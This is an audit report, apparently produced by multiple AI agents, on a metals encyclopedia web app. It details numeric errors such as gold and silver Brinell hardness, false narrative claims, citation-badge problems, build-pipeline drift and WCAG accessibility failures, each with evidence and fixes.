

INDEPENDENT TECHNICAL AUDIT

Metals Encyclopedia Deep Audit

A 56-agent adversarial review of data accuracy, provenance, code & accessibility

DATE	20 July 2026
SCOPE	98 elements · frontend · data pipeline · sourcing
METHOD	10 finders (5 Opus 4.8 + 5 Sonnet 5, max effort) → independent adversarial verification → Opus 4.8 synthesis
FLEET	56 agents · 3,537,890 tokens · 970 tool calls · ~39 min

Overall health: **FAIR** — a workable foundation carrying serious, user-visible accuracy and trust defects that undercut the one thing an encyclopedia must get right.

69 FINDINGS (VERIFIED)	4 HIGH	26 MEDIUM	39 LOW	2 REFUTED
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§ Executive summary

This is a static scientific reference encyclopedia, so its entire value proposition is trustworthy data — and that is exactly where the audit finds the most damage. The app is solid as an artifact: it builds, deploys, and renders; the large majority of the ~thousands of numeric data points across 98 elements are correct; there is no actively exploitable security hole (all current data resolves clean, images are same-origin, and the XSS sinks are latent); escapeHtml exists and is used in most places; and the defects are well-localized and fixable rather than architectural rot. The provenance scaffolding and audit scripts show genuine intent toward quality.

What's risky cuts to the core promise. (1) Flagship accuracy failures: gold's Brinell hardness is ~10x too high (2,450 MPa — as hard as uranium), silver's is ~10x too low (24.5 MPa — softer than lead), a mirror-image $x10/\div 10$ scaling bug on the two marquee precious metals, and germanium carries a physically impossible 7,273 MPa fabricated to 13 significant figures — all rendered on the user-facing detail sheet. (2) The trust architecture is hollow: the 'Confirmed' badge marks source provenance, not per-claim verification, is computed from mere excerpt-extractability rather than coverage, and is stamped on demonstrably false prose (gold production geography, aluminum ores as 'silicates', Chile as lithium's top producer) and on synthetic elements (promethium, scandium) cited to a Tier-1 USGS rare-earths chapter that explicitly excludes them, complete with 'China 70%' import statistics that describe nothing about them. (3) The pipeline has no drift guard — the last committed build shipped with commodityNotes missing on all 98 elements (verified: HEAD had 0, the generator has 98), so npm run dev silently serves stale content. (4) Accessibility was never baselined: no h1 on any core content page, no live regions anywhere, contrast fails WCAG on every data label, and the core interactions (Compare reorder, the Add-metal dialog, custom dropdowns) are keyboard-inaccessible. (5) On-screen self-contradiction: Bohr shell counts are wrong for every element from Z=19 up and disagree with the accurate electron configuration shown beside them. Performance (full innerHTML re-render per click, ~11.6MB of un-resized megapixel images eagerly preloaded for ~100px thumbnails) and inconsistent escaping/no-CSP are real but rank below correctness, trust, and a11y for this product. Net: a workable foundation carrying serious, user-visible accuracy and trust defects that undercut the one thing an encyclopedia must get right.

§ Cross-cutting themes

- ◆ Confidence signals outrun verification — the 'Confirmed' badge, Tier-1 citations, and present-tense statistics assert more certainty than the content has earned, and several demonstrably false or synthetic-element claims ship under them.
- ◆ No pipeline guardrails — generated artifacts drift from their source (metals.js shipped missing all commodityNotes), --apply doesn't rebuild as documented, audit scripts are stale/false-positive (missing uranium, arsenic sublimation), and auto-patches lack sanity bounds.
- ◆ Accessibility was never baselined — failures span page structure (no h1), contrast, live regions, keyboard operability, focus management, and touch-target size across the entire app rather than in isolated spots.
- ◆ A small set of egregious, user-facing numeric errors amid mostly-correct data — gold/silver hardness (mirror-image scaling bug), germanium's fabricated value, plus Bohr shell counts that contradict the electron config on the same screen.
- ◆ Defensive rendering is applied inconsistently — escapeHtml is used in most sinks but skipped in img src, four href attributes, and desktop compare options, with no URL-scheme allow-listing and no CSP backstop; latent today because current data is clean, not by design.
- ◆ Rebuild-the-world rendering and heavy assets — full innerHTML re-render (including the 98-card sidebar) on every interaction, ~11.6MB of un-resized images eagerly preloaded for tiny thumbnails, and no debounce or memoization anywhere.
- ◆ Dead and reserved surface accumulating unread weight — an inert viewer stub, an auto-generated unused 'summary' field, byte-duplicated propertySources, and dead/redundant CSS all carried in the shipped output with zero runtime consumers.

§ Top priorities — ranked by impact ÷ effort

- 1 Correct the gold, silver, and germanium hardness values and hunt the scaling bug behind them** TRIVIAL

Two marquee precious metals show egregiously wrong, user-visible numbers on the detail sheet — gold Brinell 2,450 MPa (hard as uranium), silver 24.5 MPa (softer than lead in the same dataset). The exact mirror-image $x10/\div 10$ pattern points to a scaling bug that may have other victims worth sweeping for, and germanium's 7,273 MPa is a fabricated, physically impossible value. This is the cheapest, most visible correctness win in the whole audit.
- 2 Rebuild metals.js and add a CI/pre-commit guard so the generated file can't drift from its inputs** SMALL

The committed build shipped with commodityNotes missing on all 98 elements (verified: HEAD=0, narratives.mjs=98), so the USGS commodity-notes block renders empty and the normal npm run dev workflow serves stale narratives whenever generators change. A check that regenerates and diffs metals.js — plus fixing import-vault-numerics --apply, which its own docstring says rebuilds but doesn't — stops silent staleness from recurring.
- 3 Ship the cheap app-wide accessibility fixes: darken --faint, add a page <h1>, add a live region** SMALL

Three small changes with whole-app reach: the --faint token fails WCAG contrast on every small-caps data label on all 98 element pages plus Compare and Table (one CSS token); the app's core content (every element page, Compare, Table) has no h1 for AT users to orient on; and search-result counts and Compare notices are silent to screen readers because no aria-live/role=status exists anywhere.
- 4 Correct the false/outdated flagship narratives and fix what the 'Confirmed' badge actually asserts** MEDIUM

Credibility is the product. Gold's production geography, aluminum ores classified as 'silicates', Chile as lithium's top producer, manganese(II) oxide as an oxidiser, and flerovium 'formed in nuclear reactors' all ship as present-tense fact under a 'Confirmed' badge that only tracks provenance, not verification. Either rename the badge to reflect what it means or actually fact-check the claims it vouches for.
- 5 Repair citation integrity for synthetic and mis-mapped elements and gate confidence on real coverage** MEDIUM

Promethium and scandium are stamped 'Confirmed' with Tier-1 USGS rare-earths citations and 'China 70%' import stats that the cited chapter explicitly says exclude them — describing nothing about a synthetic element that isn't a mined commodity. The confidence engine grants 'Confirmed' on excerpt-extractability from a mapped chapter, not on whether that chapter documents the element, inflating the user-facing 'Confirmed' tally. A coverage check plus removing inapplicable commodityNotes fixes a genuine credibility landmine.

6 **Fix the Bohr-model shell counts (wrong for every element $Z \geq 19$)** MEDIUM

shellCounts() fills shells to $2n^2$ maxima, which only matches reality through argon; from potassium up it ignores the 4s-before-3d ordering, so the animated rings and 'BOHR MODEL · SHELLS' caption are wrong for most of the table and visibly contradict the accurate electronConfiguration string rendered on the same data sheet — one screen showing two conflicting numbers.

7 **Resize the sample-image corpus and debounce search inputs** MEDIUM

public/samples ships ~11.6MB of un-resized megapixel photos (actinium.png alone is 1.37MB) rendered into ~100px thumbnails, and warmMetalImages eagerly preloads up to 48 full-resolution files on every browse/filter action (~6MB per interaction) bypassing loading=lazy — a mechanical, high-impact fix via a resize step plus srcset. Adding debounce to the search inputs (none exists anywhere) stops rebuilding the 98-element search haystack on every keystroke.

8 **Close the keyboard and focus accessibility gaps and size touch targets** LARGE

The interactive core is unusable without a mouse: Compare column reorder (which sets the baseline every delta is computed against) has no keyboard path, the Add-metal dialog is aria-modal but never receives focus and ignores Escape with no focus trap, the custom Sort/Series listboxes don't close on Escape and give every option its own tab stop, and the mobile remove button is 18x18px (under the WCAG 2.2 24px minimum) while sharing its surface with a drag gesture.

High-severity findings

Wrong, user-visible values and false claims on flagship elements.

HIGH 1. Gold overview states grossly outdated production volume and geography as current fact

scripts/narratives.mjs:1917 CONFIRMED Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT The gold overview presents 1970s/80s-era mining statistics in the present tense on the encyclopedia's flagship precious metal. Both the annual tonnage and the country attribution are wrong by a wide margin today.

EVIDENCE Repo (gold.overview): "About 1500 tonnes of gold are mined each year. About two-thirds of this comes from South Africa and most of the rest from Russia." Correct (2023, World Gold Council/USGS): world mine production is ~3,000 t/yr (double the stated figure); China is the largest producer (~370 t, ~12%), with Australia and Russia ~310 t each; South Africa produced only ~100 t (~3-4%) and is no longer a top-5 producer. Text is verbatim from the RSC gold page (naturalAbundance).

FIX Replace with current USGS Mineral Commodity Summaries figures (~3,000 t/yr; China #1; South Africa a minor producer). The repo already ships current USGS data used in the gold production field, so authoritative numbers are on hand.

HIGH 2. Aluminum overview falsely classifies bauxite and cryolite as 'aluminium silicates'

scripts/narratives.mjs:159 CONFIRMED Narrative factuality & hallucination (scripts/narratives.mjs prose) OPUS 4.8

WHAT A chemically false mineral classification on a flagship element. Neither named ore is a silicate.

EVIDENCE Repo (aluminum.overview): "It is usually found in minerals such as bauxite and cryolite. These minerals are aluminium silicates." Bauxite is a mixture of hydrated aluminium oxides/hydroxides (gibbsite Al(OH)3, boehmite/diaspore AlO(OH)); cryolite is sodium aluminium fluoride, Na3AlF6. Neither contains silicon. Verbatim from the RSC aluminium page (naturalAbundance).

FIX Delete or correct the sentence: bauxite is hydrated aluminium oxide, cryolite is sodium aluminium fluoride; neither is a silicate.

HIGH 3. Gold brinellHardness is ~10x too high (2450 MPa vs 188-245 MPa)

src/data/metals-raw.json:1692 CONFIRMED Scientific numeric accuracy (physical & chemical properties, all 98 elements) OPUS 4.8

WHAT Gold's brinellHardness = 2450 MPa makes the softest coinage metal appear as hard as uranium (U=2400 MPa here) or hardened steel. Rendered to users on the detail sheet as "Brinell 2,450.00 MPa" (main.js:896).

EVIDENCE Repo: "brinellHardness": 2450 (metals-raw.json:1692). Reference: Wikipedia gold infobox Brinell hardness = "188-245 MPa"; pure annealed gold is ~25 HB (kgf/mm2) = ~245 MPa. The repo value is exactly 10x the 245 upper bound.

FIX Correct to ~245 MPa (the accepted 188-245 range).

HIGH 4. Silver brinellHardness is ~10x too low (24.5 MPa vs 206-250 MPa), making it softer than lead

src/data/metals-raw.json:882 CONFIRMED Scientific numeric accuracy (physical & chemical properties, all 98 elements) OPUS 4.8

WHAT Silver's brinellHardness = 24.5 MPa makes silver appear SOFTER than lead (Pb = 38.3 MPa in this same dataset), which is physically wrong: silver is substantially harder than lead. This is the mirror image of the gold error (gold got x10, silver got /10), pointing to a scaling bug on these two records specifically. Rendered as "Brinell 24.50 MPa" (main.js:896).

EVIDENCE Repo: "brinellHardness": 24.5 (metals-raw.json:882). Reference: Wikipedia silver infobox Brinell hardness = "206-250 MPa". The repo value equals ~245/10. For comparison the same file has lead=38.3 MPa (correct) and copper=874 MPa (correct), so silver at 24.5 is internally inconsistent.

FIX Correct to ~245 MPa (accepted 206-250 range).

Medium-severity findings

Trust architecture, accessibility, pipeline drift, and further data/UX defects.

MEDIUM

1. Compare column reordering has no keyboard equivalent (desktop drag-and-drop, mobile pointer-drag)

src/main.js:1394

CONFIRMED

Accessibility (a11y) SONNET 5

WHAT The Compare tool's reorder gesture — which determines the 'baseline' column that every delta/percentage in the matrix is computed against — is implemented purely as native HTML5 drag-and-drop on desktop (dragstart/dragover/drop on a plain draggable div) and raw Pointer Events on mobile (pointerdown/pointermove/pointerup on a plain div). Neither has a keydown/button alternative. A whole-file search of src/main.js turns up exactly one keydown listener in the entire app (the °C/°F toggle at line 1787) — none for reordering. Live-checking the actual rendered mobile drag handle confirms it isn't even reachable by keyboard: it's a bare <div> with no tabindex and no role, so Tab skips over it entirely. A keyboard user can approximate a reorder only by removing every metal after their desired baseline and re-adding them (toggleCompareKey always appends at the end), which is not discoverable, not equivalent, and destroys/rebuilds the set rather than moving one item.

EVIDENCE Desktop: `<div class="compare-card${selectedCls}" draggable="true" data-compare-key="${m.key}">` (src/main.js:1394), wired only via `card.addEventListener("dragstart", ...)` / `cardsRoot?.addEventListener("dragover"/"drop", ...)` (src/main.js:1821-1862). Mobile: `<div class="compare-sheet-head" data-drag-head="${m.key}" title="Drag to reorder">` (src/main.js:1325), wired via `head.addEventListener("pointerdown"/"pointermove"/"pointerup", ...)` (src/main.js:1691-1726). Live DOM check of the rendered handle: `{ "headTag": "DIV", "headTabIndex": null, "headRole": null }`. WCAG 2.1.1 (Level A, Keyboard) requires all functionality operable through a keyboard interface; none is provided here.

FIX Add explicit 'Move left/right' (or up/down) buttons per compare column, or make the drag handle a real `[tabindex="0"][role="button"]` with ArrowLeft/ArrowRight keydown handlers that call the already-existing reorderCompareKeys() helper from src/lib/compare.js.

VERIFIER NOTE Defect is real as described. Only refinement: it is a scoped Level A failure on the reorder/baseline gesture, not a total keyboard lockout of the Compare tool — add, remove, select, and preset controls are keyboard-accessible buttons.

MEDIUM

2. "Add metal" dialog (role=dialog, aria-modal=true) never receives focus and ignores Escape

src/main.js:1373

CONFIRMED

Accessibility (a11y) SONNET 5

WHAT The mobile Compare 'Add metal...' bottom sheet is marked up as a modal dialog but has none of the behavior that role implies: opening it does not move focus into it, closing it is only possible via a backdrop click, and Escape does nothing. Live-tested directly in the running app: after programmatically clicking the trigger, document.activeElement was still the trigger button itself (focus never entered the dialog), and dispatching a native Escape keydown left the sheet open. Because there's also no focus trap, a keyboard user who does eventually Tab past the trigger will tab through content behind/around the sheet while aria-modal="true" is telling assistive tech the background is inert — a real mismatch between the declared role and actual behavior.

EVIDENCE `<div class="compare-add-sheet" id="compare-add-sheet" role="dialog" aria-modal="true" aria-labelledby="compare-add-title">` `${state.compareAddMenuOpen ? "" : "hidden"}>` (src/main.js:1373-1378). `setCompareAddOpen()` (src/main.js:1602-1624) only toggles the `hidden` attribute/CSS classes; `bindCompareMobileAdd()` (src/main.js:1626-1661) binds only `click` listeners on `#compare-add-trigger` and `#compare-add-backdrop` — no `.focus()` call anywhere, no keydown handler. Live test result: `{ "activeAfterOpen": "compare-add-trigger", "stillOpenAfterEscape": true }`. This fails the WAI-ARIA Authoring Practices Dialog (Modal) pattern's baseline requirements (focus moves in on open, Escape closes, focus returns to the invoking control on close).

FIX On open, call `.focus()` on the dialog heading or the `#add-search` input; add a keydown listener for Escape that calls `setCompareAddOpen(false)`; store and restore focus to `#compare-add-trigger` on close; trap Tab within the sheet while `state.compareAddMenuOpen` is true.

MEDIUM

3. --faint (#565f63) text color fails WCAG 1.4.3 contrast on every core data label in the app

src/style.css:9

CONFIRMED

Accessibility (a11y) SONNET 5

WHAT The `--faint: #565f63` token is used as the text color for the small-caps property/column labels that appear on essentially every screen: the stat-strip captions (Melting/Boiling/Density/etc.) on every one of the 98 element pages, every row label in the 'Full data sheet', every row label in the Compare matrix, and every column header in the Data Table. Measured live in the running app with `getComputedStyle` + the WCAG relative-luminance formula (not just read from the stylesheet), all four sampled instances land between 2.73:1 and 2.98:1 — below even the relaxed 3:1 'large text' allowance, let alone the 4.5:1 required for text this small (10.5-11.5px).

EVIDENCE Root token: `--faint: #565f63;` (src/style.css:9). Live-measured contrast: `.stat-card .label` (src/style.css:1263-1270, every element's stat strip) = `rgb(86,95,99)` on `rgb(16,19,20)`, 10.88px/weight 600 → 2.86:1. `.data-row dt` (src/style.css:1489-1499, every property label in the data sheet) = same color on `rgb(11,13,14)`, 11.52px/600 → 2.98:1. `.thead th` (src/style.css:2032-2040, Data Table headers) = same color on `rgb(20,24,26)`, 11.2px/700 → 2.73:1. `.matrix-label` (src/style.css:1887-1895, Compare row labels) = same color on `rgb(16,19,20)`, 10.56px/400 → 2.86:1. WCAG 1.4.3 (Level AA) requires ≥4.5:1 for text below 18.66px bold/24px regular; none of these qualify as 'large text' and all fall short even of the 3:1 large-text floor.

FIX Raise --faint for any text usage to roughly #8a949a or lighter (≈4.6:1 on #0b0d0e); keep the current dark value only for non-text decorative uses such as borders/dividers.

MEDIUM

4. No <h1> on the Browse page — affects all 98 element entries plus the Compare and Table tools

src/main.js:691

CONFIRMED

Accessibility (a11y) SONNET 5

WHAT `renderBrowse()` and its three sub-renderers (Entry/Encyclopedia, Compare, Table) never emit an `<h1>`. On the Entry view the first heading is `<h2 class="hero-title">` (the element name); on Compare it's `<h2>Head to head</h2>`; the Table view has no heading at all. Confirmed live in the running app: `document.querySelectorAll('h1').length === 0` while viewing an element entry and while on the Compare view (heading sequence there is H2, H3, H4, H4 with zero H1s anywhere in the document). By contrast, the Dashboard, Series hub, and Sources pages all correctly render exactly one `<h1>`. This means the app's actual core content — every element's data page and both comparison tools — has no page-level heading for assistive-technology users to orient on or jump to.

EVIDENCE grep of every h1-h6 tag in src/main.js shows `<h1>` only at lines 517 (Dashboard), 619 (Sources), 665 (Series hub). `renderEncyclopedia`'s first heading: `<h2 class="hero-title">${escapeHtml(metal.name)}</h2>` (src/main.js:1076). `renderCompare`'s first heading: `<h2>Head to head</h2>` (src/main.js:1483). `renderTable` (src/main.js:1943-1981) emits no heading element whatsoever. Live check while on Compare view: `{ "h1s": 0, "headings": [ "H2", "H3", "H4", "H4" ] }`.

FIX Add a real `<h1>` per Browse view — e.g. the element name on Entry (can visually match the current hero-title styling), and the series/tool label on Compare and Table.

MEDIUM 5. No live region anywhere in the app — search-result counts and Compare notices are silent to screen readers

src/main.js:838 **CONFIRMED** Accessibility (a11y) SONNET 5

WHAT Not one element in the whole app carries aria-live, role="status", or role="alert" (confirmed both by grep of src/main.js and by a live query against the running DOM: 0 matches for all three). This silently drops two categories of dynamic feedback for screen reader users: (1) the compareNotice banner — 'Compare supports up to 4 metals.', 'Comparison copied to clipboard.', 'Could not copy automatically — select the table manually.' — which is injected as a plain <p class="notice"> that just appears/disappears; and (2) the '<N> shown' result count, which is rewritten on every keystroke in the metal Search box via refreshMetalList() with a plain textContent assignment, so a screen reader user typing a search term gets no spoken feedback about how many elements now match.

EVIDENCE `${state.compareNotice ? <p class="\notice">${escapeHtml(state.compareNotice)}</p> : ""}` (src/main.js:1353 mobile, 1501 desktop) — no aria-live ancestor anywhere in either render path. `document.querySelector("#metal-search").addEventListener("input", (e) => { state.query = e.target.value; refreshMetalList(); })` (src/main.js:1136-1139) drives `refreshMetalList()` (src/main.js:829-843), which does `count.textContent = ${filtered.length} shown`` (src/main.js:838-841) with no aria-live wrapper. WCAG 4.1.3 (Level AA, Status Messages) requires such messages be programmatically determinable as status messages so AT can announce them without moving focus.

FIX Add aria-live="polite" (with role="status") to the notice container and to the '<N> shown' count element so copy confirmations, the compare-limit warning, and live search-result counts are announced automatically.

MEDIUM 6. Mobile Compare's per-metal "remove" button renders at 18x18 CSS px, under the WCAG 2.2 target-size minimum

src/style.mobile-browse.css:671 **CONFIRMED** Accessibility (a11y) SONNET 5

WHAT On the mobile Compare sheet, the only per-item way to remove a metal from the comparison is a small 'x' button pinned to the top-right corner of each 98px-tall column header. It is styled at exactly 18x18 CSS px, confirmed live via getBoundingClientRect() on the running app (not just read from CSS) — below the WCAG 2.2 SC 2.5.8 (Level AA) 24x24 CSS px minimum. It also sits inside the same header element that has touch-action:none and cursor:grab for the drag-to-reorder gesture (see the keyboard-drag finding above), so the small tap target is competing with a drag gesture on the same touch surface, increasing the chance of a missed tap or an accidental drag.

EVIDENCE `.compare-sheet-head .remove { position: absolute; top: 2px; right: 2px; width: 18px; height: 18px; ... }` (src/style.mobile-browse.css:667-682). Live measurement of the rendered button: `{"width":18,"height":18}`. Parent header: `.compare-sheet-head { height: 98px; ...; cursor: grab; ... touch-action: none; }` (src/style.mobile-browse.css:591-601). WCAG 2.2 SC 2.5.8 requires targets be at least 24x24 CSS px unless an exception (inline, essential, or equivalent control elsewhere) applies — none applies here, since this is the only per-item removal control on mobile.

FIX Enlarge the hit area to at least 24x24 CSS px (padding around the glyph rather than resizing the visible 'x'), or move it outside the touch-action:none drag region.

MEDIUM 7. Custom Sort/Series dropdown menus (role=listbox) never close on Escape and give every option its own tab stop

src/main.js:333 **CONFIRMED** Accessibility (a11y) SONNET 5

WHAT The Sort menu (#sort-menu) and the Series picker (#entry-series-menu) both use role="listbox"/role="option" but are opened and closed purely through click listeners (a trigger click toggles them; a document-level 'click outside' listener closes them). Live-tested directly: opening the Sort menu and dispatching a native Escape keydown left it open (aria-expanded still "true", hidden attribute still absent) with focus still parked on the trigger button. Separately, each role="option" is a real, individually-focusable <button> rather than using the tabindex="-1" + aria-activedescendant roving-focus pattern real listboxes use, so Tab visits every option one at a time instead of the single-tab-stop + arrow-key behavior a screen reader user expects from a listbox role.

EVIDENCE `document.querySelectorAll("#sort-menu [data-sort]").forEach((btn) => { btn.addEventListener("click", ...) })` (src/main.js:363-378) — no keydown binding. A whole-file search finds exactly one keydown listener in all of src/main.js (line 1787, the unrelated °C/°F toggle). Live test after opening the menu: `{"openState":true,"stillOpenAfterEscape":true,"activeIsStillTrigger":true}`.

FIX Add a keydown handler (Escape closes and returns focus to the trigger; ArrowUp/ArrowDown move a roving aria-activedescendant) matching the WAI-ARIA APG Listbox pattern — the Enter/Space handling already correctly implemented for the temperature-unit toggle (src/main.js:1787-1792) is a good local template to extend.

MEDIUM 8. Overview and "How it is made" render identical/duplicate text for 56 of 98 elements

scripts/upgrade-narratives.mjs:203 **CONFIRMED**

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numerics.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT `production` is built from `rsc.naturalAbundance` whenever no independent USGS excerpt exists — by explicit design for the 29 rare-earth/PGM/Zr-Hf/salt-potash-lime-barite alias chapters (line 203) and, unflagged, for the 27 synthetic/unmapped elements that have no usgsFile at all (line 205 falls back the same way). `overview` already appended the same `rsc.naturalAbundance` text two lines earlier (line 196-198) with no dedup, so the two fields end up sharing a verbatim clause.

EVIDENCE audit-all-data.mjs's own overviewEqualsProduction check (populated into report.overviewEmbedsProduction) lists 56 keys after a live run (`node scripts/audit-all-data.mjs -> "overviewEmbedsProduction": 56`). Direct text pull confirms it, e.g. radium: overview = "A soft, shiny and silvery radioactive metal. Radium is present in all uranium ores, and could be extracted as a by-product of uranium refining. Uranium ores from DR Congo and Canada are richest in radium. Today radium is extracted from spent fuel rods from nuclear reactors. Annual production of this element is fewer than 100 grams per year." and production = "Radium is present in all uranium ores, and could be extracted as a by-product of uranium refining. Uranium ores from DR Congo and Canada are richest in radium. Today radium is extracted from spent fuel rods from nuclear reactors. Annual production of this element is fewer than 100 grams per year." — production is a verbatim substring of overview (same pattern verified for polonium and platinum). Both fields are rendered as separate, distinctly-labeled sections in the UI (src/main.js:1085 `<section class="prose-block"><h3>How it is made</h3><p>${escapeHtml(metal.production)}</p></section>`), so end users literally see the same paragraph twice.

FIX When the computed `production` would equal (or be fully contained in) `overview`, either substitute a distinct framing (e.g. "Not independently documented for commercial production; see Overview") or drop the shared clause from one of the two fields before writing narratives.mjs.

VERIFIER NOTE Count nuance: 56 is the audit's leading-clause match (overview contains first ~120 chars of production); strict full-containment in the shipped metals.js is 46 elements. Both figures describe the same defect. The finding correctly cites 56 as the audit's reported number.

MEDIUM 9. import-vault-nums.mjs --apply does not "rebuild" as its own docstring and package.json script name promise

scripts/import-vault-nums.mjs:4 CONFIRMED

Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-nums.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

SONNET 5

WHAT The file header advertises that --apply writes metals-raw.json AND rebuilds, but the apply branch only ever writes metals-raw.json. Nothing in the file invokes build-metals.mjs, so after a real --apply run the shipped src/data/metals.js silently keeps serving stale numbers until someone remembers to run a separate build step.

EVIDENCE Line 4: `* node scripts/import-vault-nums.mjs --apply # write metals-raw.json + rebuild`. Apply branch, lines 174-177: `if (apply) { fs.writeFileSync(rawPath, JSON.stringify(raw, null, 2) + "\n"); console.log(...); } — no execSync/spawn/child_process/import of build-metals.mjs anywhere in the file (confirmed via grep, zero matches). package.json:15 "import:vault:apply": "node scripts/import-vault-nums.mjs --apply" doesn't chain a rebuild either, unlike package.json:11 "upgrade:narratives": "node scripts/upgrade-narratives.mjs && node scripts/build-metals.mjs", which correctly does.`

FIX Change package.json's import:vault:apply to `node scripts/import-vault-nums.mjs --apply && node scripts/build-metals.mjs` (matching upgrade:narratives), or remove the "+ rebuild" claim from the docstring if that's not actually intended.

MEDIUM 10. Mobile/tablet Data Table truncates 22 of 98 element names — even the exact name used to size the column

src/style.mobile-browse.css:919 CONFIRMED CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT The mobile table's ID column width is computed at runtime from an invisible sizer span (`.table-mobile-id-sizer`, main.js line 2006-2010: `fitTableMobileIdColumn()`) that measures the single longest element name and writes the result into `--table-id-w`. But the sizer is styled at `font-size: 0.88rem` (style.mobile-browse.css:919) while the real, visible name (`.table-mobile-cell--id .name`, style.mobile-browse.css:1035) renders at `font-size: 0.95rem` — 8.6% larger — and the sizer also never accounts for the cell's own `padding: 8px 7px` (style.mobile-browse.css:1015). Both errors push the same direction, so the computed column is always narrower than the text it was supposed to fit.

EVIDENCE Live-measured in Chrome via the running app (localhost:5173, Data Table view, viewport 320px AND re-confirmed unchanged at 900px — the bug is width-independent because nothing here scales with viewport): sizer text = "Rutherfordium", sizerWidth = 93.66px at font-size 14.08px (0.88rem) → `--table-id-w` set to 94px (Math.ceil). Actual rendered `.name` font-size = 15.2px (0.95rem). Result: 22 of 98 `.table-mobile-cell--id .name` elements have `scrollWidth > clientWidth` (i.e. are ellipsis-truncated), including "Rutherfordium" itself — the very string the column was sized around — at `scrollWidth` 101px vs `clientWidth` 79px. Other confirmed truncations: Magnesium, Manganese, Germanium, Molybdenum, Technetium, Praseodymium, Neodymium, Promethium, and 13 more.

FIX Make `.table-mobile-id-sizer`'s font shorthand identical to `.table-mobile-cell--id .name` (font-family/size/weight — 0.95rem, not 0.88rem), and add the cell's horizontal padding (14px) to the measured width in `fitTableMobileIdColumn()` before writing `--table-id-w`.

VERIFIER NOTE The column is sized around the name with the most characters (`m.name.length`), which is not necessarily the widest-rendering name — a secondary reason the fit can fail. Otherwise the finding is accurate as stated.

MEDIUM 11. Mobile hero title reserves 140px for a control that mobile-browse.css hides, so long element names spill past their own background pill

src/style.css:1236 CONFIRMED CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js) SONNET 5

WHAT `.hero-title { max-width: calc(100% - 140px); }` (style.css:1231-1247) exists to keep the element-name badge clear of the top-right `.hero-controls--float` photo/3D/atomic picker. On mobile (≤960px), style.mobile-browse.css:377-379 sets `.hero-controls--float { display: none; }` (that control moves into the entry bar above the photo instead), but no corresponding override relaxes `.hero-title`'s max-width, so the 140px reservation is now dead space reserved against nothing — while still constraining the actual name text.

EVIDENCE Live-measured on the Rutherfordium entry page at 320px viewport width: `.hero` content width = 280px, so `.hero-title`'s effective cap = 140px (matches `clientWidth: 140`). The name's natural rendered width (`scrollWidth`) = 193px. Since `white-space` is `normal` (default) and "Rutherfordium" has no break opportunity, the 53px shortfall (28% of the box) doesn't wrap — it overflows the 140px-wide `rgba(58,67,72,0.55)` backdrop-blur pill horizontally, so the tail of the name renders directly over the raw photo with no legibility backing, while `.hero-controls--float` measured `display: none` at that width, confirming the reserved gap is unused.

FIX Add a `@media (max-width: 960px)` override for `.hero-title` that shrinks or removes the 140px reservation (e.g. `max-width: calc(100% - 24px)`), mirroring how `.mobile-entry-bar .entry-series` already gets its own `max-width: calc(100% - 140px)` override in the same file (style.mobile-browse.css:125) for the control that's actually present there.

MEDIUM 12. Generated src/data/metals.js was out of sync with metals-raw.json + narratives.mjs — missing commodityNotes for all 98 elements, stale Uranium narrative

src/data/metals.js CONFIRMED Data consistency & schema integrity SONNET 5

WHAT `src/data/metals.js` is machine-generated by `scripts/build-metals.mjs` from `metals-raw.json` + `scripts/narratives.mjs` (file header: 'Auto-generated ... do not edit by hand'). Before this audit, the version sitting in the working tree (and, per git history, the last-committed version at HEAD 3cddbdd) did not reflect the current `narratives.mjs`: every one of the 98 elements was missing the `commodityNotes` object entirely, and Uranium additionally had a stale `production` string and a stale `narrativeConfidence` value. `commodityNotes` is not cosmetic — `src/main.js`:931-954 reads `metal.commodityNotes` and renders a `<details class="commodity-notes">...USGS commodity notes</summary>` block whenever recycling/substitutes/world text exists; with the stale file, that block silently renders nothing for any element. There is no CI or pre-commit step that fails when `metals.js` drifts from its generator inputs — `package.json`'s `dev/preview` scripts don't rebuild it, only `build/build:data` do, so anyone running `npm run dev` (the normal local workflow) sees stale narrative content whenever `narratives.mjs` changes without a manual `npm run build:data`.

EVIDENCE `git diff src/data/metals.js` after running `node scripts/build-metals.mjs: 'src/data/metals.js | 377 ++++++ / 1 file changed, 375 insertions(+), 2 deletions(-)'. All 98 element blocks gained a "commodityNotes": {...} object (e.g. Lithium gained recycling/substitutes/world keys it previously lacked entirely). Uranium specifically changed: repo (stale) had "production": "Uranium occurs naturally in several minerals such as uranite (pitchblende)..." and "narrativeConfidence": "single-source"; current source of truth (scripts/narratives.mjs, matching the new untracked src/data/usgs/text/fs20253057-uranium.txt) gives "production": "At the global scale, the United States is a minor producer of uranium. In 2024, 7 uranium operations in 3 states..." and "narrativeConfidence": "confirmed". Consumption site: src/main.js:931 const notes = metal.commodityNotes;`

FIX Add a CI check that fails the build if regenerating changes the committed file, e.g. `node scripts/build-metals.mjs && git diff --exit-code src/data/metals.js`, or stop committing the generated artifact altogether (README already documents that both the GitHub Pages workflow and the recommended Cloudflare Pages build command run `npm run build`, which regenerates it fresh on every deploy) and `.gitignore` it instead.

MEDIUM

13. universeAbundancePercent uses null while crustAbundancePercent/oceanAbundancePercent use 0 for the same 'not applicable' fact, contradicting the cited source's own convention

src/data/metals-raw.json:775

CONFIRMED

Data consistency & schema integrity

SONNET 5

